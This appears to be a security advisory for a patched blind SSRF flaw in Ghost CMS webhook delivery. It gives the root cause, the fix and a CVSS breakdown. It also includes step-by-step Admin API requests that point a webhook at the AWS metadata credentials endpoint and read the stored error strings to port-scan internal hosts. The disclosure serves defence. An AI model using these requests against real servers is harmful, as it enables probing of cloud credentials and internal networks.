Ghost

MEDIUM CVSS 5.5 · CVE-2026-53945 · GHSA-ch52-px8q-f22j ↗ · 815962d ↗

Webhook Delivery Fires Against Internal Network Addresses, Exposing Cloud Metadata

Ghost CMS
webhook-trigger.js
CWE-918 · CWE-367
5.5 MEDIUM
≥ 6.0.9 < 6.21.1
v6.21.1
2026-04-03
Admin / Integration key
Patched

Ghost’s webhook delivery path used a plain HTTP client with no SSRF protections. An authenticated admin could register a webhook pointing at internal network addresses, including AWS/GCP/Azure instance metadata endpoints, and trigger it by publishing a post. Ghost already maintained a hardened request library (request-external.js) used everywhere else in the codebase; the webhook path simply never called it.

01 Root Cause

Ghost maintains two HTTP clients. @tryghost/request is a plain got wrapper with no URL validation. request-external.js is a hardened wrapper that blocks all RFC-1918 and link-local ranges, handles octal/hex notation and IPv4-mapped IPv6, and prevents DNS rebinding via a custom lookup hook. Ghost uses request-external.js for oEmbed fetches, webmention processing, recommendation metadata, and external media inlining, but webhook-trigger.js used the unprotected client.

// webhook-trigger.js:19: vulnerable this.request = request ?? require('@tryghost/request'); // webhook-trigger.js:112: URL taken directly from DB, no validation const url = webhook.get('target_url'); // webhook-trigger.js:139: fires against any URL including private ranges await this.request(url, opts); // request-external.js:74: SSRF protection that was NOT used if (a === 169 && b === 254) { return true; } // blocks 169.254.x.x
02 Reproduction

Step 1: Create an integration

POST /ghost/api/admin/integrations/ {"integrations": [{"name": "probe"}]} → 201, returns integration_id

Step 2: Register a webhook targeting AWS metadata

POST /ghost/api/admin/webhooks/ {"webhooks": [{ "name": "ssrf-probe", "event": "post.published", "target_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "integration_id": "<integration_id>" }]} → 201, webhook created with internal target_url

Step 3: Trigger by publishing a post

POST /ghost/api/admin/posts/ {"posts": [{"title": "Trigger", "status": "published"}]}

Step 4: Read the observable signal

GET /ghost/api/admin/integrations/<integration_id>/?include=webhooks "last_triggered_status": 200 → port open, HTTP service responded "last_triggered_error": "ETIMEDOUT" → port filtered "last_triggered_error": "ECONNREFUSED"→ port closed
03 Impact

This is a blind SSRF, response bodies are not returned. However, the HTTP status code and Node.js error string stored in last_triggered_status / last_triggered_error are sufficient for precise internal port scanning, cloud metadata probing (confirming whether IMDSv1 or IMDSv2 is active), and reaching internal HTTP endpoints that change state on a request. Ghost retries failed deliveries up to 5 times, so a single webhook registration produces up to 6 requests per trigger event.

Internal targets reachable via this vector: AWS EC2 metadata (169.254.169.254), GCP metadata service (metadata.google.internal), Azure IMDS, Docker host gateway (172.17.0.1), internal databases, Kubernetes API server, and Prometheus metrics endpoints.

04 CVSS Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N Base Score: 5.5 MEDIUM AV:N: exploitable over the network via the Ghost Admin API AC:L: no special conditions; create webhook + publish post PR:H: requires admin session or integration API key UI:N: no user interaction needed after setup S:C: scope changed; Ghost server reaches internal network C:L: port state + error codes observable; blind SSRF I:L: limited write capability via HTTP to internal services A:N: no availability impact
05 Recommended Fix

Replace the unprotected HTTP client in webhook delivery with request-external.js, the hardened library Ghost already uses everywhere else. This is a one-line change in webhook-trigger.js:

// Current (vulnerable): this.request = request ?? require('@tryghost/request'); // Fixed: this.request = request ?? require('../../lib/request-external');

As defence-in-depth, validate target_url at webhook creation time: enforce http/https scheme and optionally block private hostname patterns in the data schema.

Patched in 815962d ↗, Ghost now routes webhook delivery through request-external.js.